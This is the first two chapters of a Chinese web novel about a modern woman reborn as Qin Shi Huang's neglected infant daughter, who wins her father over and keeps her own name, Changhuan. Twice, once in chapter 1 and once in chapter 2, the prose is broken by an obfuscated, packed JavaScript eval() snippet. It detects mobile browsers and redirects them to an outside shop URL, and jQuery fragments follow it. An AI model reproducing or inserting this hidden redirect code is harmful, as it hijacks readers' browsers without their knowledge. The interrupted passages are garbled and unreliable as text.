《始皇闺女躺平日常》 1. 第 1 章 常欢是被一阵香甜的瓜果味儿给唤醒的。 丁点大的小团子动了动鼻子,缓缓睁开了双眼。 她先是迷茫地盯着上方的天花板看了一会儿,然后伸出小胖手揉了揉自己雾蒙蒙的眼睛,迅速朝着果香味儿传来的方向望去。 显然,她的视野范围非常有限,因此,她努力地将自己从“幼儿床”上支撑起来,像只终于翻过壳去的小乌龟似的。 “果果!” 常欢朝着果香味儿传来的方向望去,一双乌黑发亮的眸子直直盯着眼前的侍女,左眼写着“想”,右眼写着“吃”。 她都已经吃了多久的奶了,现在也可以吃一些辅食了吧?就算现在很多东西还不能吃,稍微尝一丢丢解个馋总可以吧?哪怕只是让她含在嘴里呢? 等到侍女萤弯下腰来,将那切开的瓜果摆在常欢面前,常欢高兴地欢呼了一声,就要将手伸过去,却被侍女给躲开了。 “给,给!”常欢人小,话还有些说不利索,只能用焦急的眼神瞅着眼前的侍女,试图让她理解自己的意思。 侍女萤却温柔地拍了拍常欢的脸颊,将果子摆在了她够不到的案几上,对她说:“公主,您牙都还没长齐呢,现在可不能吃这个,这盘水果是要送去给您的母妃的。” “牙……长齐……不能吃……母,母妃?” 常欢艰难地复读着眼前这侍女的话,觉得自己这“孩生”实在悲催。 别人一穿越就自带翻译外挂,至少听懂其他人说话是不成问题的,怎么到了她这儿,还要再重新再学一门外语呢?这不科学! 好在她还算有几分语言天赋,平日里多听听,再结合着身边儿人的动作看看,就渐渐入门了。 常欢现在整天除了睡就是吃,能有一件事情做做,消磨一下时间,至少她的生活不会太过无聊。 就是每回身边的宫女们用着不知道哪国语言闲聊的时候,常欢总有一种瓜田里的猹吃不上瓜的郁闷。 常欢听多了身边侍女的话,再加上她还亲眼看到过摆放在殿宇中的冕旒,她大致知道自己现在是某国的公主。至于是哪个真实朝代的公主还是架空王朝的公主,亦或是诸侯王的公主,她就不知道了。 鉴于常欢居住的宫殿还挺大的,常欢觉得,她爹应该还挺有钱的。 不过,她不明白便宜爹为啥对自己的孩子这么抠,连桌子椅子都舍不得给她摆一张,平日里厨房给她送来的辅食,以及用来盛放食物的器皿也是简单至极。 常欢早早就脑补出一堆“便宜爹风流多情,到处跟人生孩子然后抛在脑后”、“宫里头的人看她不受宠就克扣她的吃穿用度”之类的宫斗大戏了。 说来也奇怪,如果她真是身处宫斗剧现场,为啥她的日子过得这么清净悠闲呢?从她记事以来,几乎没人主动来找她的茬。 常欢百思不得其解。难道,所谓的“宫斗”其实是她想多了?又或许,她亲娘在这宫里是个透明人,任凭别人怎么明争暗斗,都斗不到她头上? 不管怎么说,没有生命威胁,总是一件好事儿。常欢现在还小,稍微动动脑子就觉得累,没人找茬,倒是省了她许多功夫。 至于这宫里头的情况究竟如何,不急,总有一天她会弄明白的。 萤听到小公主一口气说了这么多个词,惊喜地将她抱在了怀中,激动得就像是突然发现自家孩子会说话了一样。 “咱们小公主真聪明,您可真是这宫里头最聪明的孩子了!可惜陛下忙于政务,连后宫都很少进了。要是他知道您这么聪明乖巧,他肯定会喜欢您的!” 常欢虽然没怎么听懂萤叽里咕噜一串话到底在说些什么,但她也知道萤这是在夸她。 她有些不好意思地挠了挠自己的脸颊,觉得自己也就是重复了萤说的几个词,都没能把完整的话复数出来,有什么值得夸赞的呢? 萤也就是带她带久了,看她有一种看自己孩子的滤镜。哪怕自家崽儿有了一点微小的进步,都仿佛做出了什么不得了的事一样。 “母……母亲……”常欢拉了拉萤的手,仰着小脑袋一脸好奇地看着萤。 她迫切地想要弄明白自己是怎么来的,她的父母究竟是谁。 她的父亲不来看她也就算了,毕竟父亲可能是真忙,也可能真是妻妾成群子女众多不把她放在心上。那母亲呢?母亲为什么也不来看她?难道是母亲不喜欢她,还是母亲的处境并不好? 要是母亲的处境不好,那她可得好好关心一下她。哪怕她做不到别的,至少能在母亲跟前凑个趣,逗她笑一笑。 萤看向常欢的目光中带着些许怜悯,她轻轻摇了摇头:“田夫人她……身子不适,不能来看您。小公主,有奴婢陪着您,难道还不够吗?” 常欢只捕捉到几个零星的词汇。但她从萤微妙的态度中,了解到自己恐怕不受母亲喜爱。 是吗?原来是这样啊,母亲不是不能来看她,而是不想来看她。 常欢只郁闷了一小会儿,就重新打起了精神。 这世上,父母与子女大约有些缘深,有些缘浅,并不是所有的父母都天然爱着自己的子女。 她只是恰好不被父母疼爱,所以父母都不约而同地选择了忽视她。这没关系,她自己也能照顾自己,她会好好吃饭,好好长大! 如果她身处太平盛世而且不必去和亲,她就安心躺平,直接提前过上悠闲的退休生活,弥补一下她上辈子永远也睡不够的遗憾。 但要是她身边的兄弟姐妹一个个都不做人……那就别怪她不客气了! 常欢没能成功让萤带着自己去找母亲,就继续央求她带自己出去。 她已经在宫殿里窝了好几天了,她感觉自己再不出去晒晒太阳,就快要发霉了。 常欢其实很乐于探索自己的“领地”,奈何宫殿面积太大,宫殿门口的门槛又高,她现在虽然能走几步路,但她靠着自己的小胳膊小腿儿根本走不出“围困”住自己的宫殿,只能向身边儿的人求助。 “萤,出去,玩!”常欢一个字一个字地往外蹦,力求让萤明白她的意思。 “可是,今日外头有风……您要是吹了风……”萤显然有些犹豫。 “出去,出去!” 小家伙眼巴巴地瞅着萤,对着萤发射了狗狗光波。那小眼神又黑又亮,充满了希冀,叫人实在不忍心看着她明亮的眸子黯淡下来。 萤到了嘴边的话,就这么卡在了口中。她看着自家小公主,发出了一声叹息。 她也不知道是在对常欢说话,还是在自言自语:“您有这样的本事,怎么光朝着奴婢使,您倒是朝着旁人使使呢?” “昂?”常欢没有听清萤的话,还刻意偏过小脑袋,把耳朵凑到了萤的跟前:“说,说什么?再,再说,一次?” 萤被常欢这副认真的小模样给可爱到了,她左右看了看,见四下无人,像做贼似的将手放在了常欢的头上,轻轻揉了揉。 触手的感觉十分柔软,萤只觉得自己手底下的毛发就像是小公主本人一样,软乎乎的。 不过,摸公主的脑袋到底是僭越之举。很快,萤便将手收了回去,轻咳一声,若无其事地道:“奴婢的意思是,您是天底下最可爱的孩子,但凡见了您的人,只怕没几个会不喜欢您。您的可爱只有奴婢们能够看见,实在是太可惜了。” “可爱……喜欢……看见……可惜……” 常欢努力识别着萤的话,但由于句子过长,她理解失败了。 她凭着超强的记忆力,将这句话记在了脑海中,准备之后将这句话拿来跟其他的话进行对比。虽然现在有许多话她还听不懂,但凡是夸她的话,她都要记下来,等以后把意思弄明白了,再好好回味一下! “出,出去,玩嘛~”常欢再一次向萤提议道。 这回,萤没有再走神,她对常欢说:“您稍微等等,奴婢先将这盘水果送去给您的母亲。等奴婢回来,就带您出去玩,好吗?” 常欢听到“出去玩”这几个字,不住地点着头,笑得见牙不见眼。 只见她张开小嘴,露出八颗洁白的小乳牙。 其实她已经长出十四颗小乳牙来了,只是,还有六颗藏在里面,除非她嘴巴大张,否则是看不见的。 这一等就是好一阵子,萤回来找常欢的时候,常欢已经趴在床上昏昏欲睡了。 她还记着萤要带自己出去玩的事儿呢,原本还小鸡啄米的她,一看到萤,顿时就来了精神。 只见她摇了摇小脑袋,似乎要借由这个动作驱逐自己的睡意。 常欢对着萤做出了“抱”的姿势,双眼亮晶晶的,像有星子坠了进去。 “说好的,出去玩啊!” 萤的面上原本还带着几分忧愁,当她看到常欢这幅期待的样子时,她顿时觉得,自己心中的阴霾仿佛被驱散了些许。 她俯下身,将这个暖呼呼、奶呼呼的小家伙抱在怀中,又为她裹了一层厚厚的小毯子挡风,这才说:“答应您的事,奴婢是不会食言的,奴婢这就带您出去。” …… 终于呼吸到新鲜的空气,常欢左看看右看看,只觉得周围的一切都让她无比好奇。 雨后的空气,总是透着一股清新,叫人心旷神怡。 “让我,下来,走走!”常欢对着萤央求道。 虽然萤只是常欢身边的一名侍女,萤实际上却扮演着她母亲的角色,给了她许多她亲生母亲没有给她的关怀。因此,常欢并不愿意用对待寻常下人的态度来对待萤。 “公主,乖啊!宫殿外不比咱们自个儿的宫殿里,咱们宫殿里地上铺了毯子,您走路的时候摔一跤倒是无所谓。要是您在外头摔一跤,这地又冷又硬,您可是要摔坏的!” 萤知道常欢是个聪明的孩子,她一边说话,一边还指着地,肢体语言十分丰富。 常欢勉强理解了萤的话。她瘪了瘪嘴,露出一副不开心的样子,但到底没有再说什么。 她知道,要是她真的在宫殿外头摔跤了,第一个倒霉的就是带她出来放风的萤。 萤愿意冒着风险带她出来玩,已经对她很好了,她不能再给萤增添额外的负担。 这般想着,常欢乖乖地趴在了萤的怀中。 平时,常欢住在宫殿里,看不到宫殿外的景象,对于自己生活的宫廷也一无所知。 这会儿,她由萤抱着在宫中遛弯,倒是看清了周围的宫殿。 面前的宫殿巍峨高耸,大气古朴,跟常欢曾经逛过的紫禁城和沈阳故宫是截然不同的风格。 而且,常欢注意到,一路走过来,周围光秃秃的,既没有鲜花,也没什么绿植,只有几口明显是用来预防火灾的水缸。 周围戍守在岗位上的士兵们手执刀剑、身披铠甲,一个个都面无表情、恪尽职守。 常欢盯着他们看了好一会儿,想要看看有没有哪个人在上班摸鱼,可她愣是找不出一个这样的人来。相反,他们就像是一台台设定好的精密机器一样,那眼神堪比X光。 这不,她的打量引起了人家的注意,有一名身穿铠甲的士兵迅速走上前来向萤询问情况。 没有主子的命令,宫人们是不可以随意在宫中走动的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105641|195796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萤一面轻轻拍着常欢的背以示安抚,一面将早已准备好的说辞说出了口。 “前儿连下了好几日的雨,现在总算是停了。田夫人见十七公主闷坏了,便命我带她出来走走。” 说着,她拿出了能够证明自己和常欢身份的令牌。 那名侍卫仔细将令牌核验了一番,又朝着田夫人怀中看了看。他见常欢身上裹着的小毯子是用名贵的料子织成的,脖颈上戴着的金项圈也并非寻常人能够佩戴的,他这才信了萤的话。 侍卫虽然觉得有些奇怪,田夫人既然想要让十七公主出来放放风,为何不亲自带十七公主出来,只派了一名宫女抱着小公主,但这些事显然不是他该关心的。 “十七公主年幼,你不要带着公主走远了。” 他朝萤叮嘱完,就迈着方阵步退回了自己的工作岗位上。 常欢知道古代战场上士兵们会迈着一种奇特的步伐来列阵,但她没有料到,她居然在宫廷中看到了这种杀气腾腾的步伐。 好、好严肃啊! 她这真的是身处宫廷中,而不是战场上吗? 常欢甚至觉得,自己不像是在看一群大活人,而像是在看一群……俑人。咳咳,虽然这么说有些失礼,但她真的就是这么想的。 话说回来,她不会是生活在类似秦汉的时代吧?要真是这样,那也未免太“久远”了。 这时,常欢注意到,萤突然变得有些紧张,抱着她的手也变得僵硬起来。 这是怎么了,发生什么事了吗? 常欢好奇地扒拉着萤的肩,想要调整一下姿势,以便能看得更远一些,却发现萤突然朝着前方深深一拜:“奴婢参见陛下。” 陛下这个词,在宫中也属于高频词,常欢早就把这个词记在自己的小本本上了。这会儿,她当然也第一时间就反应过来。 难不成,她难得出来玩耍一次,竟然还遇到她的便宜爹了? 好哇,可算让她逮着便宜爹的狐狸尾巴了! 身边的人总说便宜爹是忙于工作,才没时间来看望他们这些年幼的孩子,现在看来,便宜爹还有空到处闲逛呢,这哪儿是没空去看他的崽?分明是他把时间都花在了别的地方,花在了别的人身上! 这般一想,常欢眼中冒出了熊熊怒火。 渣爹果然是渣爹,她已经看穿他的真面目了! “走……你……”不知不觉间,常欢将这俩字说出了口。 面前的人显然没有听清,用那低沉中透着威严的声音问道:“她在说什么?” 萤惴惴不安地低头看了常欢一眼:“十七公主应该是想自己下来走两步。她最近已经能走得比较稳当了,经常自己走出来,再由奴婢抱回去。” “她这么点大,已经能走稳当了了?”帝王声音中带着些惊讶:“朕记得,扶苏他们比她大一些的时候,还走得摇摇摆摆呢。” “每个孩子学习说话和走路的时间不一样,咱们小公主学什么都比旁人快一步。她不到两岁(实岁一岁)的时候,就已经能够自己扶着墙,在房间里兜一个大权了。如今,公主已经快两岁半(实岁一岁半)了,是个大宝宝了,也越来越能干了。” 萤在面对皇帝时谨小慎微,一提起自己带大的小公主,话语中带了几分骄傲。 帝王听了这话,莫名觉得自己错过了很多。 “放她下来,让她走两步看看!” “是。” 常欢还在自顾自的走神呢——主要是面前这个疑似她便宜爹的人,他和萤的对话中夹杂了太多陌生的词汇,她就算认真听也听不懂。 她最多只能听出疑似便宜爹的人,操着一口陕西腔,时不时还蹦出大舌音和小舌音来。 便宜爹语速太快,他叽里咕噜说的一连串“单词”,常欢只能捕捉到几个。 下一刻,常欢就被放在了地上。 她毫无防备之下,一个趔趄,差点跌倒在地。 好在她及时站稳了身形,这才没有出丑。 不过,她这幅笨拙的模样,显然逗乐了围观群众。她听到自己的头顶上方传来了一阵闷笑声,不用想也知道,这闷笑声多半是她的便宜爹发出来的。 已知她的身份是公主,她身边儿一般的人肯定是不敢随意取笑她的,否则这可是以下犯上,还是大大的失礼。 常欢没想到,她的便宜爹平时漠视她也就算了,这会儿好不容易见面了,居然还笑话她!真是好生气呀! 常欢气鼓鼓地朝着她爹望去,想要把这幅可憎的面容牢牢记在心中,却发现……她爹的海拔高得远远超乎她的想象…… 呃,作为一个古代人,她爹长这么高,真的科学吗? 在人均矮小的古代,长这么高,肯定特别显眼吧?要是有人想来行刺,不是一下子就能锁定目标了吗? 常欢还不到人家膝盖那么高,哪怕她努力扬起脑袋,也看不清来人的面容,反而因为太过“卖力”,险些摔倒在地上。 好在,在她身子发生倾斜的那一刻,眼前的人就眼明手快地一把将她捞了起来。 跟捞小鸡仔似的。 常欢海拔一下子升高了那么多,还有些不适应。当她发现自己正被人单手托在半空中时,她更是吓得两只小手都死死扒拉着面前这人的衣袖。 天哪,她这个便宜爹一看就不像会抱孩子的样子。他不会一个手抖,把她给摔到地上去吧? 这么高,是真的会摔死小孩儿的啊啊啊! 这时,常欢听到便宜爹带着些许不满的声音在耳边响起:“怎么这样怕朕?” 2. 第 2 章 别的“单词”,常欢可能还听不大明白,“怕”这个词,她可是听懂了! 结合着便宜爹的语气,她大致明白便宜爹是因为她“怕”他,在闹脾气。 这人怎么这样啊!他把她举得这么高,还不许她怕他把她给摔了?而且,她许久都见不到他一面,对于她来说,他跟个陌生人也没啥差别了,小孩子怕生不是很正常吗? 便宜爹不说好好反省一下自己,居然还来责怪一个她小孩子,真是好大的脸! 常欢喉咙里发出一阵叽里咕噜的声音,骂骂咧咧地抬起头,恰好望进便宜爹的双眼中。 便宜爹长着一张很威严的脸,五官凌厉,黑瞳幽深。一看他这张脸,就知道此人不俗,更何况,他一出场就自带强力气场。这要是搁电视剧里,长着这样一张脸又有这么强大气场的,不是主角那也得是个大反派。 总之,便宜爹看着不太像是宫斗文那种背景板皇帝。他要真是后宫文里的皇帝,估计拿的也是汉武帝剧本——废了原配皇后,逼反继后,立子杀母赐死宠妃。 后妃戏耍皇帝?皇帝对后妃爱得死去活来?不存在的,在铁石心肠的帝王面前,后宫只可能全员都是输家。 鉴于常欢目前对便宜爹印象不是很好,常欢觉得,便宜爹是个大反派的可能性,远高于他是“男主角”的可能性。 这会儿,便宜爹的脸上还残留着尚未褪去的恼火,常欢看着这张脸,觉得有些手痒痒。 始皇帝似乎没想到刚刚还在他面前瑟瑟发抖的小家伙居然会突然直视自己,他愣了一下。 紧接着,他就发现眼前这看起来跟个猫崽子似的小家伙一把揪住了自己的须须! 他下意识地想要将手中的小家伙给扔出去,却在最后一秒忍住了。 ——就算小崽子再顽皮,就算他与这孩子并没有见过几面,可这到底是他自己的崽儿,亲生的! 况且,这小崽子手上的力道虽然比她的同龄人大一些,但这点力道,对于始皇帝来说就像是给他挠痒痒似的。 “松手。” 始皇帝用严肃的目光注视着他的小崽子,试图让小崽子明白何为皇帝威仪,何为君威不可冒犯。 常欢却将头摇成了拨浪鼓:“不,不松!要摔!放……放……” 她刚想开口让眼前的便宜爹放她下来,转念一想,这便宜爹才因为她怕他而不高兴呢,她还是别招惹他了,现在她人都在他手里呢。 于是,正准备说出口的话,变成了“抱抱”。 她这话一出,不止一旁的宫人们愣住了,就连始皇帝也愣住了——在她之前,有谁敢这么大胆,管始皇帝要抱抱的呀? 一旁的萤悄悄抬眸看了看始皇帝,暗自为常欢捏了一把冷汗。 小公主平时爹不疼娘不爱,在这宫里本就像个透明人似的。底下的人虽然不敢苛待始皇帝的女儿,可小公主也只能守着她的份例过日子,超出份例的东西,那是一样没有。 小公主与其他年龄相仿的公子公主若是同时需要什么东西,小公主的优先级一定是排在最后的。因为其他公子公主有为他们筹谋的母妃,小公主却没有。 要是这回,小公主能够讨得始皇帝的欢心,自然是一件好事。可她如果触怒了始皇帝,只怕往后的日子就难过了。 常欢见面前的便宜爹不理她,瞪着便宜爹看了许久,又黑又亮的眼睛里居然冒出了泪花。 始皇帝见状,眼眸中闪过一丝无措。 他很少跟这样年幼的孩子相处,即使是长子扶苏,也是长到四五岁,不会随意哭闹了,被带到他面前的时间才多了一些。 小孩子都是这么麻烦的生物吗?这眼泪怎么说来就来? 始皇帝环顾四周,却见周围的人都低下了头,没有人敢往他们这边儿看。 要是搁在始皇帝还年轻的时候,他这样带孩子,让长辈看见了,长辈肯定是要说他的。 可现在,亲近的长辈一个个离他而去,他的威望也越来越高,无人能够为他“指路”了。他必须靠自己解决他遇到的一切问题。 他连天下都能平定,又怎么会搞不定一个小孩子呢? 不就是要抱抱吗?他抱就是了! 始皇帝拿出他平日里处理政务的果敢劲儿,将小崽子摁进了怀中,小崽子却像是受了什么虐待似的,在他胸前不断乱拱乱蹭。 “别动!”始皇帝低喝道。 小崽子却不听,反而在他怀中动的更加起劲了。 她一边动,一边还发出类似呜咽的声音,听起来十分可怜。 萤见自家小公主遭罪,再也忍不住了。她克制着自己对始皇帝的惧怕,战战兢兢地走上前来:“陛下,您……您抱得太紧,公主只怕要喘不上气儿了。” “要如何抱?”始皇帝问。 萤闻言,开始隔空指导始皇帝:“您不要把小公主摁在您的胸前,您得侧着抱,或者托着她的屁股,让她趴在您的肩膀上,这样她才不会难受……” 周围一群人就这样目瞪口呆地看着一个小小宫女指点着始皇帝,他们纷纷将头垂了下去,怀疑自己是不是出现了什么幻觉。 常欢终于可以咸鱼翻身了——始皇帝照着萤的话,让常欢仰面朝天卧躺在他的臂弯之中。 这会儿,她一张小脸已经憋得通红。她大口大口地呼吸着新鲜的空气,感觉自己终于活过来了。 “萤,还是……你好,呜呜!”她朝着自己身边忠实可靠的侍女投去了感激的眼神,却引来了老父亲的不满。 “抱你的,是朕!” 出力的是他,受夸奖的却是别人? 始皇帝表示,没有人可以摘他的桃子! 这句话用词简单,常欢还是能够听得懂的。正因为听懂了,她才觉得十分无语。 她这个便宜爹是不是颅内有疾啊?他差点儿没把她给捂死,居然还敢邀功?还想让她夸他?他究竟在想啥呢? 她想是这么想的,却不敢对便宜爹表露出来。谁知道便宜爹是不是个小心眼儿的?万一便宜爹恼羞成怒了,遭殃的不还是现在弱小无力、任人摆布的她吗? 这般想着,常欢冲着便宜爹露出了一个甜甜的笑容:“笑,笑笑~” 说着,她还往便宜爹怀中蹭了蹭,表现出一副十分亲近对方的样子来。 她这一招,果然让始皇帝十分受用。始皇帝眉宇间原本还带着些不渝,这下子彻底软了下来。 “这孩子倒是不怕朕。” 萤见始皇帝心情似乎不错,胆子不由大了几分。 “小公主与陛下父女天性,亲近陛下还来不及呢,怎会怕陛下呢?” 也不知始皇帝是不是将萤的这番话给听进去了,他低头再去看怀中的小家伙,果然从小家伙湿漉漉的黑眸中看出了几分孺慕之意。 小家伙还冲着他露出了一个灿烂的笑容:“是,是阿父,对,对吗?” 始皇帝腾出一只手,摸了摸常欢的小脑袋,只觉得紧绷的神经似乎也随着女儿软乎乎的笑容放松了下来。 “你说得不错,朕是你的阿父。你上一回见朕,还是过年的时候吧?没想到,你竟然还记得朕。” “记,记得,阿父!”常欢磕磕绊绊地说道:“阿父,是,陛下!” 始皇帝听了这番话,颇为惊喜:“你才多大点,居然就能听懂朕的话了?你还知道你的阿父是陛下呢!” 这么点大的孩子,在他的印象中,只能理解一些简单的句子,他刚才说的那句话可不短啊。 这句话,始皇帝的语速有些快,常欢就听得比较费劲儿。她睁着一双懵懂的眸子道:“听……听懂?” 她不由将求助的目光投向了一旁的萤。 萤赶忙一边打着手势一边道:“听懂,就是说你能理解别人说的话,能跟别人交流……陛下是在称赞咱们公主聪明呢,说您能听懂他的话。” 萤的手语能力极为出众,常欢很容易就明白了她的意思。 常欢皱着一张小脸看着始皇帝,摇了摇头:“听、听懂?听不懂哇,说太快了……” 萤替她向始皇帝解释道:“小公主现在正在学说话呢,她学得很快,但也只能理解一些简单的词汇和短句。没学过的词儿,她就得连蒙带猜地去理解。您跟她说话的时候,得尽量慢些,句子说得短一些,给她点儿反应时间,最好能再搭配一些肢体动作。” “奴婢常在小公主面前提起‘陛下’,想来她也知道她的阿父是‘陛下’,刚刚她听到有人唤您陛下,她就知道您是她的阿父了……” “那她知道‘阿父’这个词代表什么涵义么?”始皇帝又问:“此前她从未与朕亲近过,为何今日见了,她对朕这样亲昵?” 有些东西能教,但有些东西是教不会的,许多东西必须得亲身体会,才能明白。 “这……”萤一时也卡了壳。最终,她只得将这归咎于“父女天性”上。 无论如何,小公主亲近始皇帝,一见了始皇帝便要跟他撒娇。始皇帝对于小女儿的亲近和孺慕并不反感,这总归是一件好事,不是么? 萤的口舌显然并不伶俐,她在始皇帝面前不断重复着“父女天性”之类的话语。 这要是搁在平时,始皇帝早就不耐烦听她说这些没营养的话了。可这次,他并未喝止她。 他虽觉得这宫女有些聒噪,但她说的话也不无道理——他一见了这孩子,便心生欢喜,他与这孩子,可不是有些天生的缘分在么? “这孩子可有小名?”始皇帝突然问道。 萤怔了怔:“没,没有……十七公主没有小名,奴婢们在宫殿内直接称呼她为小公主,出了宫殿,才加上她的排序,称她为‘十七公主’。” 大秦的公子公主们数量众多,夭折的却也不少。 公子公主们的大名一般都是长到三四岁差不多立住了才取,小名却是早早就可以叫起来了。 十七公主一生下来就爹不疼娘不爱的,她的小名自然也就没人替她取了,只能由着身边人随意叫。萤倒是想给小公主取个好听的小名儿,可她只是一个宫女,没有给公主取名的资格。 始皇帝闻言,颇有些不是滋味儿。 他承认,他对自己膝下的子女多有疏忽。 自一统天下之后,他几乎要被繁杂的政务压垮。全国范围内,不是这里遭了灾,就是那里又有人反叛。朝堂上,那些原六国权贵和士人也并不肯安分,时不时就要跳出来反对他。 始皇帝将绝大部分精力都放在了处理政务上。唯有大秦好好儿的,他的子女才能在大秦这棵大树的荫蔽下过好日子。 他膝下有三十多个子女,除了几个年长的子女,余下的他实在没有精力一一关注。 本以为,有生母的照拂,便是年幼的公子公主,日子也过得不会太差。可始皇帝万万没有想到,他怀中这幼女都长这么大了,居然连个小名都没有,这足以看出她的生母对她有多轻忽。 这孩子的生母只怕平日里压根儿就当这孩子不存在吧?否则,哪怕是养只猫儿狗儿在身边解闷,也会给猫儿狗儿取个名呢! 一时之间,对妃子的怒火与对幼女的怜惜齐齐涌上始皇帝的心头。 “朕记得,她的生母是田夫人吧?田夫人究竟是怎么照顾她的?” 始皇帝对于后妃不甚在意,但对于自己子女的生母还是有几分印象的。 萤看了始皇帝一眼,小心翼翼地道:“田夫人与齐王建祖孙情甚笃,又与齐太子父女情深。自齐王建和齐太子过世,田夫人便将自己关在房内,对外界之事一概不上心……那会儿她正怀着小公主呢,却一直郁郁寡欢,小公主也养得比寻常孩子要弱一些。” 始皇帝问话,她不敢不答,也不敢撒谎。她不知道自己该怎么说,才能不触怒始皇帝。 “小公主一出生,她就命奶娘抱走了,连看也没有多看一眼……后来,她又将奴婢指了过去,命奴婢好生伺候小公主……” 话音刚落,她便察觉到,始皇帝的怒火似乎更盛了。 “她是在埋怨朕饿死了齐王建和齐太子,所以她要报复朕,她要作践朕的女儿,是不是?” “田,田夫人她不敢有这个心思啊……她只是伤心过度,一时顾不上小公主……” 萤虽然很不赞同田夫人的做法,可田夫人毕竟是她侍奉过的主子,对她有恩。这会儿,萤还是壮着胆子在始皇帝面前为田夫人说话。 然而,下一刻,她的话就被暴怒的始皇帝打断了。 “闭嘴!她的族人和亲眷在前朝不安分,她在后宫,也不想让朕安生!” 常欢眼看着对自己照顾有加的萤就要遭殃,赶忙用软乎乎的小手扯了扯始皇帝的衣袖:“阿父,不,不生气!生气,难受!阿父,笑笑!” 始皇帝见小女儿窝在自己怀中,用软糯的嗓音跟自己说着话儿,想方设法让自己开心起来。他心头连日以来积攒的怒火,顿时就散去了。 他就算再怎么生气,对着这样一个乖巧的小家伙,也发不出火来。 始皇帝抱着小家伙的手收紧了一些,他垂下眸子,认真地看着自己怀中的幼女。 “朕为你取一个名,好不好?” 既然这孩子没有母亲的疼爱,他这个做父亲的,少不得要多疼她几分。 “取,取名?”常欢歪了歪小脑袋,双眼“咻”地亮了起来。 “是啊,能得个名字,就这么高兴么?”始皇帝笑了,觉得小孩子的快乐来得还真是简单:“给你取个什么名字好呢?” 始皇帝不愿在她的名字上敷衍,一时半会儿又想不到合适的名儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105642|195796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他正准备再想想,却见小闺女两只手都紧紧攥住了他的衣袖。 她乌溜溜的双眼牢牢地盯着始皇帝,语气中带了几分急迫:“我,常,常,常欢!” 这可是她上辈子的父母为她取的名儿,愿她一世平安喜乐,笑口常开。 名字虽普通,心意却不普通。 她很喜欢自己的名字,她并不想改!哪怕现在她处于陌生的时空,她也想保留一些属于自己的东西。 “你才这么点大,就会给自己取名了吗?”始皇帝很是惊讶,觉得自己这个小闺女怕是有些了不得。他看向萤:“是你教的吗?” 萤语气中带了点儿骄傲:“小公主很聪慧,不用奴婢教。许多时候,奴婢无意间说的一句话,就让小公主记住了,下次还能复述出来。” 始皇帝凑到了小闺女跟前,一脸探究。 “你为什么想叫这个名儿?” “喜,喜欢!常欢,代表,一直高兴!” 始皇帝见小闺女说这句话的时候,脸上扬起了大大的笑容。他一时之间,竟有些恍惚。 等他回过神,他的手指头已经戳上了小闺女的脸。 小孩儿的皮肤又软又嫩,手感很好,不过,让他戳了几下,小脸上就已经露出了嫌弃的样子来。 哟呵,这么点大个毛孩子,竟敢嫌弃他? 始皇帝原本还打算戳两下就把手收回去,这下他倒是跟小闺女较起了劲儿。 常欢只觉得有些大人实在烦人得很,就知道逗弄小孩儿,一点儿也不考虑别人愿不愿意。 她左躲右闪,可她人还在别人手上呢,自然怎么都逃不开始皇帝那只恼人的大手。 算了,既然反抗不了,索性她就不白费这功夫了。 常欢在始皇帝怀中躺平,执拗地看着他:“名,名字!常,常欢!” 始皇帝对上那双干净而又澄澈的黑眸,觉得自家小闺女很有意思。 这些年,他见过无数双怀着各种心思的眼眸,他已经很久没有见过这样纯粹的眸子了。 他怀中的孩子又小又软,她满心满眼想着的,不过是得一个自己喜欢的名儿。 被她这样眼巴巴瞅着,始皇帝生出一种不忍叫她失望的心情。 始皇帝考虑了一阵,最后还是摇了摇头:“这名字怎么听也不像个正儿八经的大名。” 常欢顿时垂头丧气,变得蔫哒哒的。 始皇帝见状,赶忙又道:“这个名字虽然不好做大名,但给你做个小名还是可以的。” 听不懂这句话的常欢费力地在始皇帝怀中翻了个身,用后脑勺对着自己爹,心中暗骂“小气鬼”。她都这么费力讨好他了,没想到他连个小小的要求都不肯答应她,那还有什么意思呢? 始皇帝有些不明就里:“这又怎么了?朕不是答应你的要求了吗?” 怎么还使脸色给他看呢? 这要不是他亲生的闺女,他一早就给扔出去了! 萤见状,低下头,努力忍住到了唇边的笑意。 她可不好露出端倪来,否则,陛下觉得她在看他笑话,可是要恼的。 “陛下,小公主虽然聪慧,能听懂许多话,您方才说的那句话,她约莫是听不懂的。”调整好表情的萤开始为始皇帝解惑:“她见您朝着她摇头,只怕以为您不肯答应她的请求呢。” 正因为如此,萤在跟常欢说话的时候,通常会格外注意自己的面部表情以及肢体语言,以免小公主会错了意。 始皇帝恍然大悟:“朕明白了。” 说完这话,他就低头拨弄着怀中的幼女。他才将常欢翻过身来,常欢又气鼓鼓地往另一侧扭去,就是不肯正面看他。 “你这么小一个人,气性倒挺大。”始皇帝愈发觉得有趣,他将幼女在自己怀中固定住了,这才在她耳边唤了一声“常欢”。 常欢呆呆地看了始皇帝一会儿,直到始皇帝又唤了她几声“常欢”,她才意识到,便宜爹真的同意把“常欢”给她做名字了。 她顿时高兴起来,眼睛都弯成了月牙。 始皇帝见她高兴,不知怎的,心中也跟着高兴起来。他已经许久没有为了这样一件小事而高兴了。 兴许,他平时在朝堂上被那些不识趣的人给气着了,就该好生与年幼的子女们相处一阵儿,既能关心他们的近况,又能得了他们的趣儿。 